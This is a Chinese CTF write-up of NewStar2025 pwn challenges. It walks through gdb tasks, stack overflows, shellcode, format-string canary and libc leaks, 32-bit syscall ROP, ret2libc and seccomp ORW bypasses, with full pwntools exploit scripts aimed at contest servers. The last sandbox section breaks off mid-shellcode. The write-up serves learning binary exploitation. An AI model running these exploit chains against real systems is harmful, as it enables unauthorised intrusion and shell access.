NewStar2025 Pwn (1月尾會再更新)

前言,這是小弟用第一次學pwn,做題用時比web方向用太多時間了😭😭😭😭,已 畏懼

Week 1


1. GNU Debugger

指令(省流) :

  • start/ r / run
    
    1
    2
    - ```
    i (b , r)
  • b 
    
    1
    2
    - ```
    d
  • ni 
    
    1
    2
    - ```
    si
  • finish
    
    1
    2
    - ```
    c
  • disassemble
    
    1
    2
    - ```
    p
  • x 
    
    1
    2
    - ```
    set
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./gdb_challenge...

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Enable debuginfod for this session? (y or [n]) y
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit.
(No debugging symbols found in ./gdb_challenge)

(gdb) r 8.147.132.32 30978

Starting program: /home/ghsc/NewStar2025/gdb_challenge 8.147.132.32 30978
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
###
向导加入了队伍。.

向导:
欢迎打开PWN的大门,我是向导,来到这里的第一次考验,本关考验你和你的搭档GDB (GNU Debugger)的契合程度,毕竟在PWN的世界中离开了GDB就无法生存了呢。。。
当然了设置这道关卡的人没给调试信息,所以在 dbg (debug) 的过程中你或许会看到一些来自gdb的输出提示,这些都是无关要紧的,让我们开始吧
完成4个关卡后就能得到flag咯
--- 关卡 1: 已验丁真 ---
向导:
我放了一个随机数在'r12'寄存器里面哦, 你可以借助GDB的力量一眼丁真吗?
找到r12的16进制值就按下c(continue)来告诉我答案吧!

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000400dd1 in stage_0_register_check ()

(gdb) p $r12
$1 = 8637704899224837111
(gdb) c
Continuing.

向导:
r12寄存器里面装着什么呢?好难猜啊, 记住我要16进制数字捏,例如0x114之类的数字:
0x77DF4AD760F29BF7
向导:
正解! 下一关咯

--- 关卡 2: 义眼丁真 ---
向导:
这次是内存捏, 我留了一句话在某个地方捏.
偷偷告诉你这个地方在哪里QwQ -> 0x402457
猜猜我要对你说什么。找到了就按下c(continue)来告诉我答案吧!

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000400efa in stage_1_memory_check ()

(gdb) x /s 0x402457
0x402457: "GDB_IS_POWERFUL"
(gdb) c
Continuing.

向导:
你找到了吗QwQ,告诉我你找到了什么:
GDB_IS_POWERFUL
向导:
正解! 下一关!.

--- 关卡 3: 犹豫丁真 ---
向导:
啊,程序中有个函数跑得太快了,他的身上有最后一关的钥匙!我们要抓住他,用GDB让他停下来!
如果没能抓住他的话,我们就没办法继续往前走了.
让他停下来拿到钥匙之后,按下一次c把钥匙拿过来,然后再次按下c继续我们的旅程吧. 注意需要慢慢来,不要按得这么快哦

偷偷告诉你这个函数在 -> 0x400fa9

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000401018 in stage_2_breakpoint_check ()

(gdb) b *0x400fa9
Breakpoint 1 at 0x400fa9
(gdb) c
Continuing.

Breakpoint 1, 0x0000000000400fa9 in function_to_break_on ()
(gdb) c
Continuing.

向导:
他停下来了! 在这个函数身上找到了最后一关的钥匙.
接下来是最后一关了哦.

--- 关卡 4: 应用丁真 ---
来到最后一关了,由于环境影响,已经听不清楚向导说的话了。
向导:
我们的 '(&*(……¥*&¥#!¥&……*&*&!@¥#' 现在只有 1 个.....但是要过关的话一共需要 0xdeadbeef 个
你知道葫芦侠的传说吗,好在GDB有一个强大的功能,他可以*&¥&@34#! 改.
地$^&!$址 -> 0x7fffffffd3f4 …*&

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000000000401157 in stage_3_state_modification ()

(gdb) x /w 0x7fffffffd3f4
0x7fffffffd3f4: U"\001\x855ef600\x43dadab9\xffffd540翿\x40175d"
(gdb) set {unsigned int}0x7fffffffd3f4 = 0xdeadbeef
(gdb) c
Continuing.

向导离开了队伍。.

[*] Initializing security protocols...
[+] 世界上即将增加一个PWN高手了捏
[+] FLAG : flag{de2f9a9f-bde2-4596-a3cb-2d4b1e12daa9}

2.INTbug

screen-capture.png screen-capture.png screen-capture.png

32767 + 1 = (1000 0000 0000 0000)2 < 0

screen-capture.png

3.pwn’s door

题目内容:
Key 已经为进入 pwn 的世界做好了充分准备。他找到了可靠的伙伴,猫猫 NetCat 和蟒蛇 Python,还为 Python 配备了强大的工具 pwntools。有了这些,他相信自己一定能顺利通过考验。

【难度:签到】

screen-capture.png screen-capture.png screen-capture.png

4.overflow

先看看:

1
pwn checksec overflow
screen-capture.png

amd64 沒有NX保護 (不用補ret)

screen-capture.png


(在IDA找到的)后门代码:

1
2
3
4
5
6
void __cdecl backd00r()
{
puts("Congratulations! You have found the backdoor!");
puts("You can now execute any command you want.");
system("/bin/sh");
}
1
backd00r    .text    0000000000401200    00000034    00000008        R    .    .    .    .    .    B    T    .    .

地址是0x401200 , 在get函數可以 構造256+8個垃圾數據 , 但是它%16不整, 會發生指令不

執行 , 我們要進行一個棧對齊 , 加一個ret +8 , 256+8+8 = 272 , 272/16 = 17

411d99e9-47df-42ec-8953-c9b199fbbcf4.png

對應的棧樣子如下:

b5244b715f1dd7c33ee81bcc5f559b17.jpg screen-capture.png

可以看見前n行是對齊的, 最後加一個BACKDOOR_ADDR大功告成

38d3a8e0d50e90df18ececbbda87f714.png

pwn!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
from pwn import *
#8.147.132.32 27654
p = remote("8.147.132.32",27654)
context(os='linux',arch='amd64',log_level='debug')
print(p.recvuntil(b"Enter your input:").decode())


BACKDOOR_ADDR = 0x401200
padding = b"A" * 264
ret = p64(0x401342)
sys_address = p64(BACKDOOR_ADDR) # 使用p64處理64位地址

payload = padding + ret + sys_address

p.sendline(payload)
p.interactive()

screen-capture.png

5.input_function

可參考https://www.bilibili.com/video/BV1R8VVzjEkf?spm_id_from=333.788.videopod.sections&vd_source=b128d59725d91ecef706ce0b01795a8f

checksec 一下:

screen-capture.png

有開NX , Full RELRO , PIE

因為沒有後門函數, 我們可以用pwntools的自帶工具shellcraft.sh() 生成shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *
# nc 47.94.87.199 37002

context(os='linux',arch='amd64',log_level='debug')

p = remote('47.94.87.199',37002)
shellcode = asm(shellcraft.sh())
p.recvuntil(b"please input a function(after compile)")
p.sendline(shellcode)
p.interactive()


screen-capture.png

Week2

1.刻在栈里的秘密

题目内容:
欢迎来到 x64 位餐厅!服务员 printf 先生有点健忘,他只能记住您菜单上的前 6 道菜 (RDI, RSI, RDX…),再多就只能堆在摇摇晃晃的餐盘 (栈) 上了。更糟糕的是,他会把你写的菜单原封不动地大声念出来。你能设计一份别有用心的菜单,让他念着念着,就把秘密房间的密码念给你听吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
现在有一个密码隐藏在栈上(•̀ᴗ• )
你需要做的是通过格式化字符串来泄露这个密码o(´^`)o!m, 告诉我密码我就给你flag
哦,对了对了,你还要告诉我指向这个密码的地址
在此之前, 你可以了解一下各个格式化字符串的用法, 例如 %p, %s, %d, 以及 $ 符号. emmm...还有 x86-64 函数调用约定!

指向密码的指针被存放在了 0x7ffc4ced3650 中, 同时栈顶指针是 0x7ffc4ced35d0 .
他们之间的距离是:也就是说, 在printf之前, 格式字符串的参数看起来就像 ( *・ω・)

0x7ffc4ced3650: [?] <-- 密码在这里捏
0x7ffc4ced3648: [?]
0x7ffc4ced3640: [?]
0x7ffc4ced3638: [?]
0x7ffc4ced3630: [?]
0x7ffc4ced3628: [?]
0x7ffc4ced3620: [?]
0x7ffc4ced3618: [?]
0x7ffc4ced3610: [?]
0x7ffc4ced3608: [?]
0x7ffc4ced3600: [?]
0x7ffc4ced35f8: [?]
0x7ffc4ced35f0: [?]
0x7ffc4ced35e8: [?]
0x7ffc4ced35e0: [?]
0x7ffc4ced35d8: [?]
0x7ffc4ced35d0: [?]
0x7ffc4ced35c8: [?]
0x7ffc4ced35c0: [?] <-- 栈顶在这里捏
R9: [?]
R8: [?]
RCX: [?]
RDX: [?]
RSI: [?]
RDI: [格式化字符串]

现在给你两次输入的机会, 补要输入太长的数据哦.
接着我会使用printf, 用你的输入作为printf的参数.
看起来就像 printf(your_input), 实际上这样是很危险的, 好孩子不要模仿^^. 来吧让我看看你的输入

x86-64 的棧參數用寄存器的

x86-64 SysV 调用约定

1
2
3
4
5
printf 的变参顺序(带 $ 的位置索引)是:
1$的位置索引)是:1 的位置索引)是:
1→RSI,2$→RDX,3$→RCX,4$→R8,5$→R9,6$ 起在栈上(第 6 个槽)


栈上的参数槽从栈顶往下数,第一个槽是 0,第二个是 1,依次类推。所以,指向密码的指针所在的槽位是从栈顶往下数的第 18 个槽,也就是第 18$ 个参数

栈顶:0x7ffc4ced35c0

密码:0x7ffc4ced3650

0x3650 - 0x35c0 = 0x90 = 18 * 8

栈上第一个变参是 6$ ,6+18 = 24

printf(%24$p):密码的地址

printf(%24$s):密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
%24$p
printf第 1 次启动!
0x7ffc8ae5aa00

再来一次 !
%24$s
printf第 2 次启动!
HQFPFOLAOVDOHLH

现在来验证一下密码吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码:
HQFPFOLAOVDOHLH
现在来验证一下密码的指针吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码:
给我输入一个类似 0x114514 的 16 进制数!
0x7ffc8ae5aa00
好棒 ̋(๑˃́ꇴ˂̀๑) 给你flag
flag{ead08abf-89e2-4248-84fe-f656f0c5379e}

2.syscall

checksec一下 , 開了NX和Canary保護:

攻擊方法ROP鏈+Canary繞過

screen-capture.png

file一下, 32位

screen-capture.png screen-capture.png

vmmap一下syscall 可寫的是0x80ef000 在IDA查看是BSS段 , 因為沒有找到/bin/sh ,

所以可以在bss段寫入”/bin/sh\x00” , 調用execve(“/bin/sh” , 0 , 0)

看看偽代碼:

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
_libc_write(1, "welcome to newstarctf2025 week2!\n", 33);
_libc_write(1, "pwn it guys!\n", 13);
func();
return 0;
}
1
2
3
4
5
6
int func()
{
_BYTE v1[14]; // [esp+6h] [ebp-12h] BYREF

return _libc_read(0, v1, 100);
}

0x12+4 = 18

在返回地址(0xffffc63c)之前没有看到canary值 , 所以可以不用看canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(py311) ghsc@DESKTOP-JDO3EH1:~/NewStar2025/pwn$ ROPgadget --binary syscall  --only 'pop|ret' | grep 'eax'
0x080ad56a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080b438a : pop eax ; ret
0x080ad569 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
(py311) ghsc@DESKTOP-JDO3EH1:~/NewStar2025/pwn$ ROPgadget --binary syscall --only 'pop|ret' | grep 'ebx'
0x080ad572 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x080ad56a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806d7e1 : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x08073656 : pop ebp ; pop edi ; pop ebx ; ret
0x080ada1c : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x0804993a : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0806064c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x080abda5 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08049a1e : pop ebx ; pop esi ; pop edi ; ret
0x0804fbfe : pop ebx ; pop esi ; ret
0x08049022 : pop ebx ; ret
0x0806071f : pop ebx ; ret 4
0x0806cd8e : pop edi ; pop ebx ; ret
0x08064cbb : pop edi ; pop esi ; pop ebx ; ret
0x080ad569 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08064cbc : pop esi ; pop ebx ; ret
0x0806cd8d : pop esi ; pop edi ; pop ebx ; ret
0x08072eb4 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
(py311) ghsc@DESKTOP-JDO3EH1:~/NewStar2025/pwn$ ROPgadget --binary syscall --only 'pop|ret' | grep 'ecx'
0x0804985a : pop ecx ; ret
(py311) ghsc@DESKTOP-JDO3EH1:~/NewStar2025/pwn$ ROPgadget --binary syscall --only 'pop|ret' | grep 'edx'
0x0804985c : pop edx ; ret

0x080b438a : pop eax ; ret

0x08049022 : pop ebx ; ret

0x0804985a : pop ecx ; ret

0x0804985c : pop edx ; ret

payload 第一步要自先加上垃圾數據再加上read函數(0x3)

read(b , c , d):

ebx - 文件描述符 (fd)
ecx - 缓冲区地址 (buf)
edx - 读取字节数 (count)

int 0x80 后面最好跟着 ret,这是为了保持ROP链的连续性

1
pop eax → pop ebx → pop ecx → pop edx → int 0x80 → ??? (控制流丢失)
1
pop eax → pop ebx → pop ecx → pop edx → int 0x80 ; ret → 下一个gadget
1
2
3
# 查找 int 0x80 ; ret  gadget
ROPgadget --binary syscall --only 'int' | grep 'ret'
ROPgadget --binary syscall | grep 'int 0x80' | grep 'ret'

這一題ROPgadget找不到((((((

在pwn 大佬的指導下在IDA找到了 , alt + b 查找 cd 80 (int 0x80)

screen-capture.png

int 0x80 (0x08073A00)

因為有NX , 要棧對齊一下 , 加一個ret

1
ROPgadget --binary syscall --only "ret"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import time
# nc 8.147.134.121 20502
p=process("./syscall")
elf=ELF("./syscall")
#p = remote('8.147.134.121',20502)
gdb.attach(p)
context(os='linux',arch='i386',log_level='debug')

p.recvuntil(b'pwn it guys!\n')


bss_addr = elf.bss() + 0x100 # 避免冲突
read_addr = 0x3
execve = 0xb
pop_eax = 0x080b438a
pop_ebx = 0x08049022
pop_ecx = 0x0804985a
pop_edx = 0x0804985c
int_0x80 = 0x08073A00
ret = 0x0804900e


payload = b'A'*(0x12+4) #_BYTE v1[14]; // [esp+6h] [ebp-12h] BYREF 0x12+4
payload += p32(ret)
payload += p32(pop_eax)
payload += p32(read_addr)
payload += p32(pop_ebx) # read函数返回后的地址
payload += p32(0)
payload += p32(pop_ecx) # fd = 0 (stdin)
payload += p32(bss_addr) # buf地址
payload += p32(pop_edx)
payload += p32(8) # 读取长度
payload += p32(int_0x80)

# 第二阶段:execve("/bin/sh", NULL, NULL)
payload += p32(pop_eax)
payload += p32(execve) # 系统调用号
payload += p32(pop_ebx)
payload += p32(bss_addr) # "/bin/sh"字符串地址
payload += p32(pop_ecx)
payload += p32(0) # argv = NULL
payload += p32(pop_edx)
payload += p32(0) # envp = NULL
payload += p32(int_0x80) # 触发系统调用


p.sendline(payload)
time.sleep(0.1)
p.sendline(b'/bin/sh\x00')
#pause()

p.interactive()

用IDA找的()gdb.attach(p)

screen-capture.png

用ROPgadget找的(錯的死循环int)gdb.attach(p)

screen-capture.png

不管了 , 反正做出來了 !!(0v0)!!

3.no shell

sandbox 這是一題沙盒題 ,

hint:为什么假定要 rax 的值呢,或许可以在不知道具体值的情况下传递

看看checksec先

screen-capture.png

用一下沙盒

1
seccomp-tools dump ./noshell
screen-capture.png

可以看見不可以用execve , ARCH_X86_64 , A!=0xffffffff 了 return KILL

如果A<0x40000000 就可以ALLOW

可以先看概論 :
https://www.bilibili.com/video/BV1Wi4y1A7Gr/?spm_id_from=333.337.search-card.all.click&vd_source=b128d59725d91ecef706ce0b01795a8f

繞過:

https://www.bilibili.com/video/BV1Uv411j7fr?spm_id_from=333.788.videopod.episodes&vd_source=b128d59725d91ecef706ce0b01795a8f&p=16

沙箱!!! 省流:

Secure computing mode

1
2
3
4
5
1.Seccomp restrict
2.Seccomp filter
3.使用prctl設置sandbox
4.使用seccomp.h設置sandbox
5.使用libseccomp設置sandbox

繞過思路

1
2
3
4
ORW
Open/openv
Read/readv
Write/writev

i386與x86-64的調用號不同

可以利用retq指令修改cs寄存器

cs == 0x23 代表32位模式

cs == 0x33 代表64位模式

可能是64轉成32位繞過

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 n2; // rax
__int64 n2_1; // [rsp+8h] [rbp-108h] BYREF
_BYTE buf[256]; // [rsp+10h] [rbp-100h] BYREF

init(argc, argv, envp);
write(1, "Your Power Has Been Restricted!\n", 0x20u);
write(1, "But your mind is still free!\n", 0x1Du);
write(1, "Do you want to say something?\n", 0x1Eu);
if ( getchar() == 121 || getchar() == 89 )
{
read(0, buf, 0xFFu);
buf[255] = 0;
}
else
{
write(1, "You chose not to say anything.\n", 0x20u);
}
write(1, "leave or capture the flag?\n", 0x1Cu);
__isoc99_scanf("%lld", &n2_1);
if ( n2_1 <= 0 )
{
n2 = 1;
}
else
{
n2 = n2_1;
if ( n2_1 > 2 )
n2 = 2;
}
n2_1 = n2;
if ( n2 == 1 )
{
write(1, "You chose to leave.\n", 0x14u);
exit(0);
}
if ( n2_1 == 2 )
write(1, "You chose to capture the flag!\n", 0x1Fu);
challenge();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void __noreturn challenge()
{
int v0; // [rsp+Ch] [rbp-4h] BYREF

while ( 1 )
{
write(1, "Welcome to the challenge!\n", 0x1Au);
write(1, "Please Make choice:\n", 0x14u);
write(1, "1. Check your power\n", 0x14u);
write(1, "2. Get the power of your cat\n", 0x18u);
write(1, "3. Open the door\n", 0x11u);
write(1, "4. Destroy this world\n", 0x16u);
write(1, "5. leave this world\n", 0x14u);
write(1, "your choice: ", 0xDu);
__isoc99_scanf("%d", &v0);
switch ( v0 )
{
case 1:
Check_your_power();
break;
case 2:
Get_the_power_of_your_cat();
break;
case 3:
open_the_door();
break;
case 4:
destroy_this_world();
break;
case 5:
write(1, "Goodbye!\n", 9u);
exit(0);
default:
write(1, "Invalid choice!\n", 0x10u);
break;
}
}
}

漏洞点:main 中的 read(0, buf, 0xFFu) 和 Check_your_power() 中的 read(0, buf, off)

cab6d0c5-9697-4bcf-8d1b-e9a9eab14100.png

ORW

參考文章:
https://x1ng.top/2021/10/28/pwn-orw%E6%80%BB%E7%BB%93/

省流:


  1. Open系統呼叫
    系統呼叫號:2(在x86-64中,open的系統呼叫號是2)
    參數:

rdi: 檔案路徑的字串指標(例如:字串”flag”的地址)

rsi: 打開檔案的標誌(例如:O_RDONLY=0)

rdx: 模式(通常在使用O_CREAT時需要,這裡可以設為0)

成功執行後,rax會返回檔案描述符(通常是一個非負整數,例如3)。

  1. Read系統呼叫
    系統呼叫號:0
    參數:

rdi: 檔案描述符(從open返回的fd)

rsi: 讀取內容存放的緩衝區地址

rdx: 要讀取的位元組數

成功執行後,rax返回實際讀取的位元組數。

  1. Write系統呼叫
    系統呼叫號:1
    參數:

rdi: 檔案描述符(這裡我們要輸出到標準輸出,所以是1)

rsi: 要寫入的資料的緩衝區地址(也就是read讀取到的緩衝區)

rdx: 要寫入的位元組數(通常使用read返回的位元組數,但我們也可以設定一個固定的值)

注意:在ORW中,我們通常將讀取的內容寫到標準輸出(fd=1)以便看到檔案內容。


先用ROPgadget找找寄存器:

1
2
3
ROPgadget --binary noshell  --only 'pop|ret' | grep 'rdi'
ROPgadget --binary noshell --only 'pop|ret' | grep 'rsi'
ROPgadget --binary noshell --only 'pop|ret' | grep 'rdx'
1
2
3
0x00000000004013f3 : pop rdi ; ret
0x00000000004013f5 : pop rsi ; ret
0x00000000004013f7 : pop rdx ; ret

payload = b’a’ (0x20 + 8 )

payload += pop_rdi + flag_addr

payload += rsi + p64(0)

payload += pop_rdx + p64(0)

payload += open

這是一個open函數的動作 , 先找一找flag.txt

1
ROPgadget --binary noshell --string "./flag"
screen-capture.png

flag.txt = 0x40206a

省流: 可以用p64(p.plt[‘open’]) , 不過可以自己找

在IDA找到了open_the_door 追蹤一下call open

screen-capture.png screen-capture.png

open = 0x4011E0

接下來是read

read( 3 , bss , 0x100)

payload = p64(magic)

#payload += pop_rdi + p64(3)

payload += pop_rsi + p64(bss)

payload += pop_rdx +p64(0x100)

payload += read()

讀256個字節

magic 是什麼?

在IDA alt+b 查 48 89 C7 , 找到了一個有ret的

screen-capture.png

magic = 0x04013F9

接下來是write操作:
payload = pop_rdi + p64(1) + p64(p.plt[‘write’])


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

p = remote('8.147.132.32', 18505)
#nc 8.147.132.32 18505
#p = process('./noshell')
e = ELF('./noshell')
context(log_level = 'debug', arch = 'amd64', os = 'linux')

pop_rdi = 0x4013f3
pop_rsi = 0x4013f5
pop_rdx = 0x4013f7
flag = 0x40206a
magic = 0x4013F9
ret = 0x40101a

payload = b'a'*(0x20+8) + p64(pop_rdi) +p64(flag) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(e.plt['open'])
payload += p64(magic) + p64(pop_rsi) + p64(e.bss(0x400)) + p64(pop_rdx) + p64(0x100) + p64(e.plt['read'])
payload += p64(pop_rdi) + p64(1) + p64(e.plt['write'])

p.recvuntil(b'Do you want to say something?\n')
p.sendline(b'y')
p.recvuntil(b'leave or capture the flag?\n')
p.sendline(b'2')
p.sendlineafter(b'your choice: ',b'2')
p.sendlineafter(b'your choice: ',b'1')
#gdb.attach(p)
p.sendline(payload)



p.interactive()

4.input_small_function(味复刻)

Week3

fmt and canary

Ubuntu GLIBC 2.35-0ubuntu3.10

https://www.bilibili.com/video/BV11t4y1R7dV/?spm_id_from=333.337.search-card.all.click&vd_source=b128d59725d91ecef706ce0b01795a8f

打開IDA alt+ t 搜 ubuntu

screen-capture.png

下載patchelf 和 glibc-all-in-one

patchelf安裝

1
sudo apt -y install patchelf

glibc-all-in-one安裝

1
2
3
4
5
6
7
8
9
10
11
12
13
14
git clone https://gitclone.com/github.com/matrix1001/glibc-all-in-one

cd glibc-all-in-one

sudo python3 update_list

cat list

#需要使用的Ubuntu
sudo ./download x.xx-xubuntux_xxx
#以我的題為例
sudo ./download 2.35-0ubuntu3.11_amd64
#list 有 list 和 old_list
sudo ./download_old x.xx-xubuntux_xxx

用patchelf更換 libc 和 ld 文件

1
2
3
4
5
6
7
8
9
10
#換ld文件
patchelf --set-interpreter /??/??/?? 程式
#這一題
patchelf --set-interpreter home/ghsc/glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64/ld-linux-x86-64.so.2 fmt_canary
#換libc文件
patchelf --replace-needed libc.so.6 /??/??/?? 程式
#這一題,先恢复原始状态(如果需要)
patchelf --replace-needed home/ghsc/glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64/libc.so.6 libc.so.6 fmt_canary
patchelf --replace-needed libc.so.6 home/ghsc/glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64/libc.so.6 fmt_canary

screen-capture.png

開了NX , 動連 , 要用libc函數了 , RELRO: Partial RELRO , IDA一下 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
puts(&::s);
puts(&s_);
do
{
memset(s, 0, sizeof(s));
puts(&s__0);
read(0, s, 0x27u);
printf(s);
}
while ( strcmp(s, "end\n") );
puts(&s__1);
printf(&format);
read(0, s, 0x100u);
return 0;
}

先判斷攻擊點 , 大概是在打了end後 有一個read(0 , s ,0x100u)


canary

兩個read , 一個0x28字節 , 一個0x100字節 , 先找到canary先

b *0x4012D4

cyclic一下 , stack 30

screen-capture.png

不難看出canary就在rbp-0x8

0x7fffffffd508 ◂— 0xad7425d44ff65a00

screen-capture.png

找對了 , 算一算偏移量 , (0x508 - 0x4e0)/8 = 5

screen-capture.png

字符串偏移量為6 , 6+5 = 11

%11$p :
screen-capture.png

成功找到 canary


libc

libc的基礎:

https://www.bilibili.com/video/BV1mr4y1Y7fW?spm_id_from=333.788.videopod.episodes&vd_source=b128d59725d91ecef706ce0b01795a8f&p=20

然後要寫一下 ret2libc , 參考文章:

https://starrysky1004.github.io/2024/09/26/linux-yan-chi-bang-ding-ji-zhi-guo-cheng/linux-yan-chi-bang-ding-ji-zhi-guo-cheng/

用IDA開一下llibc.so.6

gdb vmmap 一下 :
screen-capture.png

0x7ffff7c00000 - 0x7ffff7e1c000 是libc 的區域 , 如果要調用的話要先算一算偏移量

screen-capture.png

找一下ROPgadget , pop_rdi = 基址 + 0x2a3e5 , 在libc找到了 “/bin/sh” :

screen-capture.png

sh_addr = 基址 + 0x1d8678

找”/bin/sh” 和 system函數:

screen-capture.png

bin/sh: 基址 + 0x1D8678

screen-capture.png

system: 基址 + 0x50D70


格式化字符串漏洞泄露libc基址

https://www.cnblogs.com/GGbomb/p/17872974.html


在canary後面有一個__libc_start_call_main+122 : 0x7ffff7c2a1ca

用vmmap找到基址:

92fb3825-187e-415a-85c4-e5891e11b509.png

0x7ffff7c29e40-0x7ffff7c00000 = 0x29E40

b5349a57-5bfa-4cb3-a2a2-c953fae619fb.png

(0xd568-0xd4b8 )/8 = 22
11+22 = 33

1
aaaa%11$.p%33%p
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
#nc 47.94.87.199 39160
context(log_level = 'debug', arch = 'amd64', os = 'linux')
#p = remote('47.94.87.199',39160)
p = process('./fmt_canary')
elf=ELF('./fmt_canary')
libc=ELF('./libc.so.6')



payload=b'aaaa%11$p.%13$p'
p.sendlineafter('说话!\n',payload)
p.recvuntil('aaaa')
canary=int(p.recvuntil(b'00').decode(),16)
p.recvuntil('.')
#libc的
libc = int(p.recvuntil(b'\n').decode(),16)
libc_base = libc - 0x2a1ca

pop_rdi = libc_base + 0x2a3e5
sh_addr = libc_base + 0x1d8678
system_addr = libc_base + 0x50D70

print(hex(canary))
print(hex(libc_base))

然後就是正常的libc了 ,

screen-capture.png screen-capture.png
screen-capture.png screen-capture.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
# nc 39.106.48.123 28287
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('39.106.48.123',28287)
#libc = ELF('./libc.so.6')

#p = process('./fmt_canary')
#elf=ELF('./fmt_canary')

#gdb.attach(p)
#pause()

p.recvuntil('我先放台复读机在这里!要是觉得厌倦了就输入end来结束吧\n')
payload1=b'aaaa%11$p.%33$p'
p.sendlineafter('说话!\n',payload1)
p.recvuntil('aaaa')
canary=int(p.recvuntil(b'00').decode(),16)
p.recvuntil('.')


#libc的
libc_a = int(p.recvuntil(b'\n').decode(),16)
libc_base = libc_a - 0x29E40


ret = 0x29139 + libc_base
pop_rdi = 0x2A3e5 + libc_base
binsh = 0x1D8678 + libc_base
system = 0x50D70 + libc_base


print(hex(canary))
print(hex(libc_a))



p.recvuntil('说话!\n')
p.sendline("end")
p.recvuntil('QwQ:')
#p.sendline("end")

payload2 = b'a'*(0x30-8) + p64(canary) + p64(0) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload2)
p.interactive()


sandbox_plus

seccomp-tools dump ./sandbox_plus 一下

screen-capture.png

被ban ARCH_X86_64 execve execveat open read write sendfile 怎麼辦?

screen-capture.png

看了main函數明顯這是一個Shellcode 題目:

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
buf = mmap((void *)0x114514, 0x1000u, 7, 34, -1, 0);
puts("please input a orw_plus function (also also after compile)");
read(0, buf, 0x500u);
install_seccomp();
((void (*)(void))buf)();
return 0;
}

buf = mmap((void *)0x114514, 0x1000u, 7, 34, -1, 0);是指改變0x114514 處的記憶體映射為可讀、可寫、可執行

Shellcode 構造 (AORW):

設置 iovec 結構:

1
2
3
mov rax, {buffer_addr}
mov qword ptr [{iovec_addr}], rax
mov qword ptr [{iovec_addr} + 8], 0x100

